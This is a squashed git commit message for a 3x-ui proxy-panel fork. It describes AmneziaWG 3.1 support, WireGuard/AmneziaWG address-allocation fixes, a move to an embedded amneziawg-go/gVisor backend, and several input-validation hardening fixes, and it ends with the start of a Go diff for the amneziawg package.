handshaking fine but all its traffic got rejected at the SOCKS5 layer,
while every other peer on the same relay was unaffected. A full restart
(reading the same JSON straight from disk) always produced the correct
account list. socks isn't in userDiffableProtocols (that only covers
vless/vmess/trojan's clients+email shape, not accounts+user), so any
settings drift on this inbound fell through to the generic remove+add
path. Forces a restart instead, the same defensive choice already made
for REALITY and TPROXY -- scoped to auth:"password" specifically so the
other, noauth SOCKS5 bridges (panel/node/mtproto egress) keep the cheaper
hot path.

* Fix Attach reusing one identity's address across wg/awg inbounds

ClientService.Attach deliberately copies one identity's stored
AllowedIPs into every WireGuard/AmneziaWG inbound it's attached to
in the same call, so the same person gets the same tunnel address
on every protocol they use. Its loop calls addInboundClient once per
inbound, and each of those independently computes
otherTunnelAllowedIPs -- so by the second inbound in the batch, the
first inbound's just-written copy of this identity's own address
looked like a cross-inbound collision against itself.

Real production symptom this caused: detaching then re-attaching a
client to both wg and awg failed with "wireguard: allowedIPs entry
X is already used by a client on inbound 'awg' (#N)" -- the exact
address the identity is supposed to keep, rejected as if it belonged
to someone else.

Add a selfEmails exclusion to otherTunnelAllowedIPs and populate it
from the client(s) being processed at the one real call site. Safe
unconditionally: ClientRecord.Email is globally unique, so a match
can only ever be this same identity's own entry on a sibling inbound,
never a genuine different client's address.

Reproduced the underlying mechanism live (manual entry correctly
rejected as a cross-inbound collision; fresh auto-allocation
correctly avoided a used address) before writing the fix, to confirm
the guard itself works and the bug is specifically in how Attach's
per-inbound calls interact with it.

* Attach: allocate fresh when re-attaching with no active tunnel

The previous fix (82cc69f5) made Attach's own address-reuse
correctly not collide with itself across inbounds -- but it still
always reused an identity's stored AllowedIPs verbatim, even when
that identity currently has zero WireGuard/AmneziaWG attachments at
all. A real report from testing this live: an identity fully
detached from both its wg and awg inbounds, then re-attached, got
its old address back even though several lower addresses were free
-- because nothing about being fully detached ever cleared the
stored value Attach copies from.

Add hasTunnelAttachment, checked once against the identity's CURRENT
inbound set before Attach's loop runs: if none of its current
inbounds is WireGuard/AmneziaWG, clear the stored AllowedIPs so this
attach allocates fresh (matching what a brand-new client would get)
instead of resurrecting an address nothing reserves anymore. Left
alone when the identity already has an active tunnel elsewhere, so
extending it to a second protocol still keeps a consistent address.

* Fix TestOtherTunnelAllowedIPsExcludesSelfEmail's own test setup

CI caught this: the "genuinely different client" (other@wg) was
seeded onto the SAME inbound passed as excludeID, which
otherTunnelAllowedIPs already excludes entirely regardless of the
selfEmails fix -- so the assertion that its address is still
reported could never have passed, proving nothing either way. Move
it onto the sibling inbound alongside shared@id, which is what the
test actually needs to exercise (two clients on one sibling, one
excluded by email, one not).

* Attach: never inherit an address that doesn't fit the target inbound

hasTunnelAttachment (from the earlier fix, commit 51067f16) only
asked "does this identity have ANY tunnel attachment", treating that
as license to reuse its stored address verbatim on every inbound
being attached. Real production case this missed: an identity's
stored address came from WireGuard's own fallback subnet
(10.0.0.0/24, used when that inbound has no other clients to infer a
base from), then got attached to a second, AmneziaWG inbound
configured for a completely different subnet (10.8.1.0/24).
defaultAmneziaWGClients's already-set-AllowedIPs branch only checks
for collisions, never subnet membership, so the mismatched address
was accepted silently -- producing a peer that can never actually
connect, since an AmneziaWG address must fall inside the kernel
interface's own configured subnet to be routable at all.

Add addressesFitAmneziaWGInbound, checked per inbound inside Attach's
loop: if the inherited address doesn't fit the SPECIFIC inbound being
attached, clear it just for that one so it gets a fresh, valid
allocation instead, while other already-attached inbounds keep their
existing values. WireGuard has no equivalent strict subnet
requirement (allocateWireguardAddress can widen to a fallback pool
for it), so this only ever constrains AmneziaWG targets.

* Give WireGuard an explicit, admin-configurable subnet field

WireGuard previously had no configurable subnet at all -- only an
implicit one, either inferred from existing clients' own addresses
(wireguardAllocationBase) or a hardcoded 10.0.0.0/24 fallback when
none exist yet. AmneziaWG, by contrast, has always had a real
server.subnetIp/subnetCidr field in its settings, editable in the
UI. User request: give WireGuard the same treatment.

Backend: explicitWireguardSubnetBase reads an optional subnetIp/
subnetCidr pair from the inbound's own settings JSON (mirroring
AmneziaWG's defaultAmneziaWGSubnetBases). defaultWireguardClients
checks it first; only when unset does it fall back to today's
inference-from-existing-clients behavior, so an inbound saved before
this field existed keeps working exactly as it always has.

Frontend: subnetIp/subnetCidr added to WireguardInboundSettingsSchema
and the inbound form (mirroring AmneziaWG's own field layout/labels),
with a real default (10.0.0.0/24, the same value the backend already
fell back to) seeded for newly created inbounds so the field starts
populated and editable rather than blank. Translated across all 13
locales.

This also structurally closes the class of bug fixed in
82cc69f5/291c47b3: with wg and awg subnets explicit and
independently controllable, an admin who wants matching addresses
across both protocols can configure them to actually agree, instead
of one silently inheriting the other's incompatible range.

* Split the client edit form's AllowedIPs into per-protocol fields

A client attached to both WireGuard and AmneziaWG shared one AllowedIPs
form field with a dynamically-switching label, so its two genuinely
different addresses could never both be shown or edited correctly.
Worse, Update/Create broadcast that one shared value to every attached
wg/awg inbound with no subnet-fit check, so an ordinary edit save could
silently overwrite one protocol's address with the other's -- the same
bug class already fixed for Attach, but reachable from any client edit.

model.Client gains an optional AllowedIPsByInbound map so a caller can
send distinct values per inbound; Update/Create honor it and, when it's
absent, clear a shared value that doesn't fit an AmneziaWG inbound's own
subnet instead of writing it through. A new TunnelAllowedIPsByInbound
read path feeds the real per-inbound address to the client edit form via
GET, which now renders two separate, correctly-labeled fields whenever
both protocols are attached (unchanged single dynamic field otherwise).

* Regenerate openapi.json for the new allowedIPsByInbound field

Follow-up to 878ee839: gen:zod (frontend/src/generated) was already
regenerated and committed, but gen:api (frontend/public/openapi.json)
wasn't, so CI's codegen drift check failed.

* Fix build breakage from merging upstream main: Update() gained a limitHwid param

Two of our own AllowedIPs tests (not present upstream, so the merge never
flagged them as conflicting) still called the old 3-arg Update(inboundSvc,
id, client) -- upstream's hardware-ID-limit feature added a required
limitHwid parameter that every other caller in this package already
passes. Also drop createDefaultInboundSettings from InboundsPage.tsx: the
merge conflict resolution kept the import, but upstream's clone-payload
refactor (buildClonePayload, inbound-clone.ts) already calls it
internally now -- this file doesn't need it directly anymore.

* Fix real bug: AmneziaWG clients rejected as "empty client ID" in 3 places

Three switch statements on inbound.Protocol handle "wireguard" explicitly
(checking client.PublicKey) but fall through to the default case for
"amneziawg" (checking client.ID, which AmneziaWG clients never set --
they use PublicKey/Email like WireGuard, not the VMess/VLESS UUID field).
This is what the 4 AllowedIPs tests were actually catching:
UpdateInboundClient's newClientId derivation hit this same default branch,
so every Update() on an AmneziaWG client returned "empty client ID"
before ever reaching the AllowedIPs logic being tested.

Fixed by adding "amneziawg" alongside "wireguard" in each switch:
addInboundClient's per-client validation, UpdateInboundClient's
newClientId derivation, and AddInbound's per-client validation (the
third one wasn't hit by these tests, but has the identical bug -- creating
a brand-new AmneziaWG inbound with a client attached would fail the
same way).

* refactor(amneziawg): rename Obfuscation20 to Obfuscation31, drop the dead mobile preset

Mechanical rename ahead of the AmneziaWG 3.1 parameter work: the type,
generator and prose all said 2.0, and the "mobile" generator preset was
reachable only from its own test. No behavior change.

* feat(amneziawg): AmneziaWG 3.1 obfuscation parameters (backend + generated schemas)

Adds the 3.1 parameter surface to the inbound settings and both Go config
emitters: I2-I5 signature packets, HeaderProtectionKey (base64 32-byte,
shared server<->client), ContentPaddingAddition, the five handshake-timing
randomization ranges (RekeyAfterTime/RekeyTimeout/RejectAfterTime/
KeepaliveTimeout/MaxHandshakeAttempts), and the RandomTrailers/
DisableCookies switches. Freshly generated sets fill everything except
I2-I5 (matching Amnezia's own generator) with jittered ranges bracketing
WireGuard's stock timing constants; every reject window starts >= 30s
above the rekey window by construction. Empty fields stay off the wire,
so blanking a field disables just that feature.

Validation generalizes the H1-H4 range checker for the new uint32-range
fields, requires min 1 on timers, cross-checks rekey-vs-reject, and
demands a real 32-byte base64 header-protection key. The manager warns
once per process when the installed awg tools predate 3.1 but an inbound
uses 3.1 parameters (awg-quick rejects unknown keys with a generic
error otherwise); apply still proceeds.

Requires amneziawg-tools v3.1.20260812+ / module or amneziawg-go
v3.1.20260814+ on the host.

* feat(amneziawg): emit and randomize 3.1 parameters in the frontend

Both client-config emitters (the vpn:// link builder and the clients-page
.conf builder) now carry the 3.1 [Interface] lines in the same order as
the Go emitters. The obfuscation randomizer moves out of InboundFormModal
into a shared lib/xray/amneziawg-obfuscation.ts that also fills the new
fields, and createDefaultAmneziawgInboundSettings switches from static
values to that generator — a fresh inbound now really gets the unique
fingerprint the docs promise instead of the same jc=5/jmin=10 set on
every install.

Schema parse-time defaults for the new fields stay ''/false on purpose:
real values come only from the generator, so resaving an inbound never
mutates its stored parameters. A new parity test pins the hand-written
AmneziawgServerSchema to the generated ServerSettings key set, so a field
added on one side can no longer silently vanish from configs.

* feat(amneziawg): 3.1 form fields and translations

Inbound form gains inputs for I2-I5, HeaderProtectionKey (filled by the
existing obfuscation Regenerate button), ContentPaddingAddition, the five
timing ranges, and the RandomTrailers/DisableCookies switches; the MTU
input picks up the min=1 its schema already enforced. All 13 locales get
the 19 new keys and drop the "2.0" branding from the s3/s4/i1 labels.

* docs(amneziawg): document 3.1 parameters; install.sh kernel/version notes

The AmneziaWG page's obfuscation section moves from the 2.0 to the 3.1
parameter set: table rows for I2-I5, HeaderProtectionKey,
ContentPaddingAddition, the timing-randomization ranges and the
RandomTrailers/DisableCookies switches, a requirements callout (tools
v3.1.20260812+, module/awg-go v3.1.20260814+, Linux 6.7+ for the DKMS
path), and a sample client .conf that matches what the panel actually
emits (including the DNS defaults and PersistentKeepalive it always had).

install.sh warns before a DKMS build on a pre-6.7 kernel and after any
install that left pre-3.1 amneziawg-tools on PATH.

Also updates the hosts API operation paths ({id} -> {groupId}) in the
stale ru/zh/fa reference pages: syncing docs/public/openapi.json for the
new AmneziaWG schema fields surfaced that rename, which had never been
copied over, and the docs build fails on paths missing from the spec.

* fix(amneziawg): reject control characters and canonicalize 3.1 range values

Adversarial review of the 3.1 work surfaced a validation gap:
base64.DecodeString silently ignores CR/LF, so a header-protection key
that picked up a line wrap in transit decoded to a valid 32 bytes,
passed validation, and was emitted verbatim into every client config —
where the orphan second line breaks the import while the server (whose
emitter strips control chars) keeps running with the correct key. The
key and range validators now reject control characters outright.

Also from the same review: range values are canonicalized on save
("110 - 140" -> "110-140", whitespace-only collapses to feature-off,
closing a case where the server conf rendered an invalid blank-value
line the client emitters omitted); the rekey/reject invariant is now
enforced against WireGuard's 120s/180s defaults when only one side is
set; and the structural fingerprint joins on "\n" instead of "|",
which is a legal I1-I5 character and made adjacent free-text fields
join-ambiguous.

* fix(install): resolve latest release tag via web redirect to dodge API rate limits

The non-interactive install smoke test resolved the release version through
the unauthenticated GitHub API (api.github.com/.../releases/latest), which
allows only 60 requests/hour per IP. The test installs twice in one run, and
on shared CI runner IPs the second call gets rate-limited, returns no
tag_name, and install.sh treats an empty version as fatal (exit 1) — the same
"Failed to fetch x-ui version" real users hit behind CGNAT/shared addresses.

resolve_latest_tag() now reads the tag from the github.com releases/latest
web redirect (not subject to the API rate limit), falling back to the API
only if the redirect yields nothing. Verified with the real
deploy/test/smoke-noninteractive.sh (two installs, both green).

* fix(amneziawg): three review findings on #6105, plus a comment trim

1. A peer's allowedIPs reached the generated .conf unvalidated and
   unsanitized, unlike email/publicKey/preSharedKey which
   normalizeAmneziaWGSettings already guards. A newline in an entry let a
   following "[Interface]" re-open the interface section, whose "PostUp = ..."
   awg-quick then runs as root on the next apply. Reproduced end to end
   against generateServerConfig. The save path now rejects and canonicalizes
   through normalizeWireguardAllowedIPs, and the render path sanitizes as a
   backstop for rows predating the validation (an upgrade, a restored backup,
   a direct DB edit). H1-H4 get the same render-time sanitize, and the two NIC
   name fields a plausibility check, since stripping control characters alone
   would still let a shell metacharacter into a root-executed PostUp line.

2. EgressPortForInbound is 63100 + inbound id, so an id past 2435 derives a
   port above 65535 -- and Xray rejects the whole generated config over one
   invalid port, taking every other protocol down with it. It now reports
   ok=false past the range, and both the Xray bridge and its TPROXY rules are
   skipped instead of emitting an impossible port.

3. The downloadable AmneziaWG .conf read ClientRecord.allowedIPs, a single
   shared column that holds the WireGuard address for an identity attached to
   both protocols -- the exact ambiguity tunnelAllowedIPs was added to resolve
   for the edit form. The info and QR modals already hydrate that field, so
   they now pass this inbound's own address to the builder.

Also trims the comment blocks in the files touched here to the 2-line
guidance in CLAUDE.md: internal/amneziawg alone carried 423 comment lines in
over-long blocks against 118 for the comparable internal/mtproto, and is now
at 110. Every non-obvious constraint is kept (the kernel S1/S2 rule, why
PostDown is best-effort, why grep -c and not -q, why the fingerprints split
three ways); the narration is gone. Two hot_diff.go comments pointed at an
internal/amneziawgnet package and an injectAmneziawgnetSocks function that
exist nowhere in the tree; the checks themselves are unchanged.

* feat(logs): add an AmneziaWG log view to the overview

The overview has an access-log view for Xray but nothing for AmneziaWG, so
when a tunnel misbehaves there is no way to see it from the panel at all. A
kernel tunnel logs no per-request lines, so the equivalent view is built from
the two things it does expose:

- Live per-peer activity from `awg show <iface> dump`, joined to the client
  email through the desired peer set: last handshake, endpoint, allowed IPs,
  cumulative transfer and online state, newest handshake first.
- The panel's own AmneziaWG event lines (interface up/down, awg-quick
  failures, the pre-3.1 tools warning), which are what actually explain a peer
  being absent from the table.

POST /panel/api/server/amneziawglogs/:count serves both, with the same
count + filter contract GetXrayLogs uses, and the modal mirrors XrayLogModal's
toolbar, auto-update, mobile cards and download. The action-bar button is
gated on a new status.amneziawg.configured, which stays true while an inbound
exists but its interface is down -- exactly when the event lines matter.

Verified against a running panel: the endpoint returns the peer table and
real event lines ("awg/awg-quick not found on PATH", "create config dir:
permission denied"), and count and filter both narrow as documented.

One of those lines surfaced a Debugf that had been rendering as
"for inbound1:amneziawg:"; fixed here since it is now user-visible.

* fix(amneziawg): stop double-counting a routed inbound's traffic

injectAmneziawgEgress tags its Xray bridge with the AmneziaWG inbound's own
tag, so the stock Routing page can target it. Xray therefore reports that
bridge's bytes under the inbound's tag, and XrayTrafficJob feeds them to
AddTraffic -- which accumulates -- on top of the same bytes AmneziaWGJob
already reported from `awg show dump`. An inbound with routeThroughXray on
counted roughly twice its real traffic, which also inflates the quota checks
that read the same counters.

The awg counters are the complete measure: every peer, whether or not TPROXY
routed it, and the same wire bytes the per-client totals are built from, so
they stay and the Xray rows are dropped. Per-client stats were never affected
-- a dokodemo-door bridge has no per-user identity, so Xray emits no
user>>>email rows for it.

Filtering happens before every consumer, so the DB totals, the external
traffic inform and the dashboard's live speed all read one source per inbound.
The set of bridge tags now comes from a predicate shared with
injectAmneziawgEgress itself, with a test that pins the two together -- naming
one tag too few doubles the traffic again, one too many makes real traffic
vanish.

* fix(amneziawg): align the three .conf emitters on one peer field order

The panel builds an AmneziaWG client .conf in three independent places, and
they disagreed: buildAmneziaWGClientConfig put PresharedKey right after
PublicKey (wg-quick(8)'s own order, and what both WireGuard emitters on the
clients side already use), while genAmneziaWGConfig and the Go
amneziaWGConfigText put it after Endpoint. A user comparing a subscription
link against a downloaded .conf sees the difference immediately, and the
generators are exactly the kind of parallel implementation CLAUDE.md warns
about drifting.

Moves the two outliers onto the wg-quick order. Also drops the stray trailing
newline that only appeared when PersistentKeepalive was set, so a config now
always ends on its last set field whichever that is -- the same shape all
three emitters produce for the same client.

Parsing is unaffected either way (the format is order-insensitive, and the
AmneziaVPN app reads it as a flat key-value bag), so this changes only the
rendered text. Adds a test on each side that pins the peer block's field
order, since nothing previously asserted it.

* refactor(amneziawg): switch to the embedded amneziawg-go/gVisor architecture

Replaces the kernel-module (DKMS) + awg-quick + TPROXY backend with the
fork's own embedded design: amneziawg-go runs in-process over a userspace
gVisor netstack, and each peer's decapsulated traffic relays into its own
loopback Xray SOCKS5 inbound, so Xray's native stats/sniffing/routing work
for free instead of through hand-rolled bridges. No kernel module, no DKMS,
no Secure Boot conflicts, works the same in a container as on bare metal.

- internal/amneziawgnet: new package (Device/UAPI, gVisor netstack, TCP/UDP
  forwarding, SOCKS5 relay, peer identity, IPv6 host-alias egress identity,
  per-client port-forwarding) - amneziawg-go v3.1.20260814 + gvisor.
- internal/amneziawg: keep the reusable protocol-shape types/validation
  (Instance/Peer/Obfuscation, InstanceFromInbound); drop the OS-shellout
  half (awg-quick, TPROXY policy routing, NDP proxy, peer-stats parsing).
- internal/web/service: rewire the 5 integration points (job, runtime,
  client-apply, web shutdown, xray config) from the old manager to the new
  one; the AmneziaWG log view is rebuilt on the embedded Device's own UAPI
  dump (extended to carry endpoint/AllowedIPs) instead of `awg show dump`.
- install.sh: drop DKMS/ndppd/TPROXY/Secure-Boot installer code (~250
  lines) - an entire recurring class of installer fragility goes away.
- frontend: drop the now-meaningless routeThroughXray toggle (the relay is
  always on); keep the field in the Zod schema, unexposed, so it isn't
  silently stripped from stored settings on next save - two regression
  tests deliberately depend on the Go struct still carrying it.
- docs/i18n: rewrite amneziawg.mdx for the new architecture; drop the
  dead routeThroughXray translation keys across all 13 locales.

Real production throughput (embedded core datapath, isolated bench, same
box the kernel-module path was measured on): ~296 Mbit/s up, ~640 Mbit/s
down, vs. 414.69 MB/s (~3.3 Gbit/s) for the kernel module on the same
hardware - a real gap, tempered by this being single-stream/no-SOCKS5-hop
and most VPN traffic being latency-bound rather than throughput-saturating.

* fix(amneziawg): restore the branch's own Obfuscation31 shape + 2 CodeQL findings

The previous push's wholesale-copy of types.go/params.go from the fork's
main branch pulled in that branch's own independent (and incompatible)
naming for the same AWG 3.1 feature set: Obfuscation20/GenerateObfuscation20
instead of this branch's already-shipped Obfuscation31/GenerateObfuscation31,
and a missing CanonicalizeUintRange -- broke every Go CI job (the whole
matrix fails to compile when any one package doesn't, which is why govulncheck/
golangci/postgres-durable-first/race all failed identically, not just go-test).

Restores params.go/params_test.go verbatim from this branch's own last
commit (a strict superset of validation: it already cross-checks rekey vs.
reject timing windows, which the copied version never did) and folds the
3.0/3.1 fields (HeaderProtectionKey, ContentPaddingAddition, the 5 timing
fields, RandomTrailers/DisableCookies) into Obfuscation31 itself, matching
the original struct exactly instead of as separate top-level Instance
fields. instance.go, the two amneziawgnet call sites, and 7 amneziawgnet
test files updated to match. Also drops the one test (sanitizeConfigValue)
that only ever served the retired kernel-module .conf writer -- correctly
not ported, so the test testing it shouldn't have been copied either.

Also fixes 2 CodeQL findings the same push surfaced: a clamped uint64->int64
conversion for the new log view's live byte counters (server.go), and an
unneeded len+len sum feeding a slice pre-size in the v6-egress outbound
merge (xray.go) -- append already grows correctly without it.

* chore(amneziawg): regenerate frontend schemas for updated doc comments

npm run gen was missed after the previous commit's types.go doc-comment
edits (Obfuscation20 -> Obfuscation31, ValidateHeaderProtection ->
ValidateObfuscation in the prose) -- openapigen bakes those comments
into the generated schema's description field, so the committed
frontend/src/generated/schemas.ts and openapi.json still had the old
wording. codegen's git-diff-exit-code check caught it correctly.

* fix(amneziawg): narrow 2 test fixtures that collided with MaxForwardedPorts

TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort and
..._NoCollisionWhenPortsDontOverlap used "8000-8100"/"9000-9100" as their
ForwardedPorts fixture -- 101 ports each, one over MaxForwardedPorts (100).
The cap check (checkForwardedPortsConflict, added this session alongside
the SOCKS-phantom-port check) fires first, so both tests got "more than
100 forwarded ports" instead of ever reaching the collision logic they're
actually testing. The cap itself has its own dedicated boundary test
already; these two just needed a narrower range that still covers/misses
port 8080 as intended -- 8075-8085 and 9075-9085, 11 ports each.

* fix(amneziawg): checkAmneziawgnetSocksConflict had no receiver in its new home

My merge-conflict resolution kept this as a method call (s.checkAmneziawgnetSocksConflict)
inside checkPortConflictTx, a plain function with no *InboundService receiver --
upstream's #6225 fix moved the port-conflict check out of the (s *InboundService)
method and into this new tx-scoped free function, and I didn't notice the call
site needed to change shape too. CI caught it immediately (undefined: s); nothing
in this specific package can be locally verified past internal/database's own
unrelated, pre-existing CGO build issue on this dev machine.

Since the signature had to change either way, folded in the fix already flagged
as a separate follow-up: checkAmneziawgnetSocksConflict now takes the caller's
db handle instead of fetching its own via database.GetDB(), so it actually runs
inside the same serialized transaction #6225 introduced -- previously it sat
right next to that race fix without benefiting from it.

* fix: address the review findings on the embedded AmneziaWG PR

5 blocking findings:

- Floor S3/S4 at 12 in both obfuscation generators (Go and frontend) and
  reject a hand-edited value below that when HeaderProtectionKey is set --
  IpcSet requires it, and ~39% of previously-generated sets violated it
  silently.
- Guard PrivateKey/PrimaryDNS/SecondaryDNS/remark against newline injection
  in the AmneziaWG .conf builder (both the Go subscription-link path and
  the frontend downloadable-config path) -- unguarded, any of them could
  inject an arbitrary config line into a subscriber's client.
- Bound the derived AmneziaWG SOCKS relay port to <= 65535 once an
  inbound's id is known, and check the reverse direction (does the relay
  port collide with an existing inbound's port) on both create and update
  -- previously only port -> relay collisions were checked, not relay ->
  port.
- Gate injectAmneziawgV6Egress on the same V6AliasesActive predicate
  desiredV6Aliases already uses, so the two can't disagree about whether a
  peer's IPv6 identity is actually active at the OS level.

2 minor findings:

- Fix the forwarded-ports cap check's off-by-one (a spec covering exactly
  the cap was rejected as if it were over it).
- Correct docker-compose.yml's stale comment describing the retired
  DKMS/kernel-module architecture.

* chore: retrigger CI

build (armv5) failed on a transient Go module proxy network error
(INTERNAL_ERROR stream reset on sagernet/sing), unrelated to this PR's
changes.

* docs: fix doc comments still describing the retired DKMS/awg-quick design

A few doc comments (and one illustrative test log line) survived the
embedded-architecture cutover unchanged and now contradict the code
they sit next to:

- internal/amneziawg/types.go's package comment claimed this package
  still owns a Manager that reconciles OS-level interfaces via
  awg-quick/DKMS -- that Manager was removed; the reconcile loop lives
  in internal/amneziawgnet now, and this package is protocol-shape-only.
- internal/amneziawg/params.go's ValidateObfuscation/ValidateConfigValue
  comments cited "awg-quick up" / "awg-quick executes as root" as the
  reason to validate -- the server itself never calls awg-quick in this
  architecture; the same value still reaches a real rendered .conf that
  a client app or an admin's own awg-quick CLI applies downstream, so
  the validation is still warranted, just for a different consumer.
  Mirrored the same fix in inbound_amneziawg.go's matching comment and
  its test's comment.
- internal/amneziawgnet/manager.go's Manager doc comments (x3) pointed
  readers at "internal/amneziawg.Manager" for comparison -- that type no
  longer exists in this diff at all. Repointed at internal/mtproto.Manager,
  the pattern this was actually modeled on and the one that's still real.
- Swapped one test's illustrative "awg-quick up awg2 failed" log line for
  a message shaped like this architecture's actual amneziawgnet logging,
  so a reader skimming the test doesn't wonder whether the server still
  shells out to awg-quick.

No behavior change.

* fix(docs): re-run codegen for xray-settings.mdx after conflict merge

The automated conflict-resolution hand-merge for this generated file
was content-correct but didn't byte-match a real regen (different
YAML long-string folding style). Re-ran npm run gen + docs' gen:api
and kept that canonical output instead.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(amneziawg): drop the dead access-log email backfill

amneziawgEmailIndex keyed peers by "<tag>|<tunnel IP>", a scheme built
for the retired TPROXY bridge where the peer's decapsulated tunnel
address survived as the access log's from-address. The embedded
architecture relays through a loopback SOCKS5 dial, so every AmneziaWG
log line's from-address is 127.0.0.1:<ephemeral> and the lookup could
never match: the index was rebuilt on every log view just to miss.
Remove the index, its GetXrayLogs wiring and its test. If per-line
emails are wanted back, the relay would have to publish a
local-port->email registry for the viewer to resolve loopback sources.

* fix(api): generate AmneziaWGLogs/PeerActivity schemas instead of hand-writing them

The amneziawglogs endpoint's response structs were missing from
openapigen's StructAllow, so they were silently absent from every
generated schema/example, the endpoints.ts entry carried a hand-written
response, and AmneziaWGLogModal.tsx duplicated the shapes as local
interfaces - the exact drift the allowlist rule exists to prevent.
Allowlist both structs with example tags, point the endpoint at the
generated schema, import the generated types in the modal, and sync
docs/public/openapi.json.

* chore(amneziawg): drop the unreferenced quiccapture package

Nothing imports internal/amneziawg/quiccapture and no route exposes it;
its package doc justifies the code as a port of
frontend/src/lib/xray/i1Generators.ts, which does not exist in this
repository, and promises an API round-trip that also does not exist.
1,110 lines of unreachable code with misleading provenance claims.
Revert this commit to bring the package back when the live-capture I1
feature and its frontend counterpart actually land.

* fix(clients): re-run cross-inbound conflict checks on the serialized writer

The new client-level checks - cross-inbound AllowedIPs collisions and
AmneziaWG forwardedPorts conflicts - read a fresh DB snapshot, decide,
and only then enter runSerializedTx, while lockInbound only serializes
writers on the SAME inbound. Two concurrent client creates on two
different tunnel inbounds both passed the read and both committed,
yielding two peers with one address: the exact check-then-claim race
81cfd857 (#6225) closed for AddInbound, which this PR's own
checkAmneziawgnetSocksReverseConflict already cites. Keep the pre-tx
pass for fail-fast UX and re-validate inside the transaction, where the
single writer makes the answer authoritative. The race test drives two
goroutines at two inbounds and demands exactly one winner; it fails
with committed=2 when the in-tx re-check is removed.

* fix(amneziawg): hot-apply depletion disables like mtproto does

applyTrafficMutationBatch special-cases MTProto so a quota/expiry
depletion cuts the sidecar immediately, but AmneziaWG fell through to
runtime AddUser/RemoveUser - explicit no-ops for this protocol - so a
depleted peer kept tunneling until the next 10s reconcile tick. Route
it through applyLocalAmneziaWG, whose own contract (re-read committed
settings, filter depleted clients, push to the interface) is exactly
this case; the comment claiming it mirrors applyLocalMtproto is now
true for the depletion path too.

* fix(amneziawg): persist cleared DNS fields instead of resurrecting defaults

PrimaryDNS/SecondaryDNS marshaled with omitempty, so clearing them
persisted settings with no key at all - and the frontend re-parses
stored settings through a Zod schema whose .default('8.8.8.8') /
.default('8.8.4.4') fire on missing keys, silently repopulating the
form on every load and re-persisting the defaults on the next save.
Blank is a documented, meaningful state (no DNS line in client
configs); drop omitempty so a cleared value survives the round-trip.
The regression test normalizes a server block with cleared DNS and
fails when the keys are dropped.

* fix(amneziawg): accept cleared numeric obfuscation/subnet fields in the form

AntD InputNumber emits null when cleared, Zod .default() only replaces
undefined, and unlike wireguard.ts - whose optionalClearedInt comment
documents exactly this failure mode - the AmneziaWG schema declared
subnetCidr and jc/jmin/jmax/s1-s4 as bare z.number() defaults. Clearing
any of the eight fields made safeParse reject the null and block the
save until the user retyped a value. Absorb null into undefined while
keeping each field's schema default, so a cleared field refills its
documented default and legacy blobs with absent keys behave as before.

* fix(amneziawg): guard the third .conf emitter against newline injection

The review-round fix added the newline guard to amneziaWGConfigText (Go)
and buildAmneziaWGClientConfig, but genAmneziaWGConfig in inbound-link.ts
- the third of the three emitters its own comment says must not drift -
still rendered privateKey/primaryDns/secondaryDns/remark unescaped, so a
newline there injected a config line (e.g. a rogue PostUp) into the
inbound form's downloaded .conf. Add the same guard, plus the regression
tests the original fix shipped without: all four fields on the Go and
both frontend emitters go red if any guard is removed.

* test(amneziawg): pin the S3/S4 floors the TS drift guard claims to mirror

The test's docstring says it mirrors internal/amneziawg/params_test.go,
but it asserted S3>=8/S4>=4 while the Go test and both generators pin
12/12 - the floor ValidateObfuscation enforces whenever a header
protection key is set, which this generator always sets. A regression
narrowing the TS floors into 8-11/4-11 would have passed the drift
guard and produced configs the backend rejects on save.

* docs: restore the pia repo-map entry and document the AmneziaWG subsystem

Merging main dropped CLAUDE.md's internal/pia/ bullet (added by #6272)
while resolving the repo-map conflict - the package itself is untouched.
Restore it, add the missing map entries for the two packages this branch
introduces (internal/amneziawg/, internal/amneziawgnet/), bump the cron
count, and give amneziawg_job its row in architecture.md's 5.4 table.

* chore(amneziawg): correct comments stranded by the architecture pivot

ae77c7e9's cutover to the embedded gVisor path deleted the kernel-module
code but left several comments describing it in the present tense:
hot_diff.go cited the removed service.amneziawgEgressStreamSettings and
wrongly claimed AmneziaWG is the only sockopt.tproxy source (tunnel's
TProxy mode is the live one the guard protects), socks_config.go pointed
at the deleted EgressBasePort/EgressPortForInbound, manager.go referred
to the deleted Manager and its fingerprinting as live code, web.go's
cron registration claimed the job scrapes traffic (its own doc says it
does not), and types.go capped ContentPaddingAddition at uint16 when
validation and upstream both use uint32.

* style(lint): satisfy gofumpt/goimports so make verify is green

json_service.go's two 'Tag: "proxy"}' literals came in with main's own
cc245a90 formatting commit and fail the repo's gofumpt gate for everyone;
the import grouping in inbound_amneziawg.go is from the serialized-writer
fix on this branch.

---------

Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
Co-authored-by: Sanaei <ho3ein.sanaei@gmail.com>
Co-authored-by: claude[bot] <41898282+claude[bot]@users.noreply.github.com>
This commit is contained in:
Kuzz007
2026-08-24 03:41:15 +03:00
committed by GitHub
parent d9b599b9aa
commit effcccceac
146 changed files with 15241 additions and 134 deletions
+164
View File
@@ -0,0 +1,164 @@
// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
// pure functions that derive an Instance from a stored inbound row. It no
// longer manages any OS-level interface itself: that was the kernel-module
// (DKMS) + awg-quick + TPROXY architecture this fork shipped originally,
// retired in favor of an embedded, pure-Go one (amneziawg-go over a gVisor
// netstack, see internal/amneziawgnet) in a hard cutover. This package's
// remaining code is deliberately protocol-shape-only, with no OS dependency
// at all, so both the (now-removed) kernel-module path and the embedded
// path could read -- and, historically, did read -- it identically.
package amneziawg
import (
"encoding/json"
"fmt"
"net/netip"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
// InstanceFromInbound derives a desired Instance from an AmneziaWG inbound,
// building one peer per active client. Returns false when the inbound is not
// a usable AmneziaWG inbound (wrong protocol, unparseable settings, or no
// server block) or has no enabled peer to serve — mirroring
// mtproto.InstanceFromInbound, which skips the sidecar entirely rather than
// run it with nothing to serve.
func InstanceFromInbound(ib *model.Inbound) (Instance, bool) {
if ib == nil || ib.Protocol != model.AmneziaWG {
return Instance{}, false
}
var parsed InboundSettings
if err := json.Unmarshal([]byte(ib.Settings), &parsed); err != nil || parsed.Server == nil {
return Instance{}, false
}
server := parsed.Server
peers := make([]Peer, 0, len(parsed.Clients))
for _, c := range parsed.Clients {
if !c.Enable || c.PublicKey == "" || len(c.AllowedIPs) == 0 {
continue
}
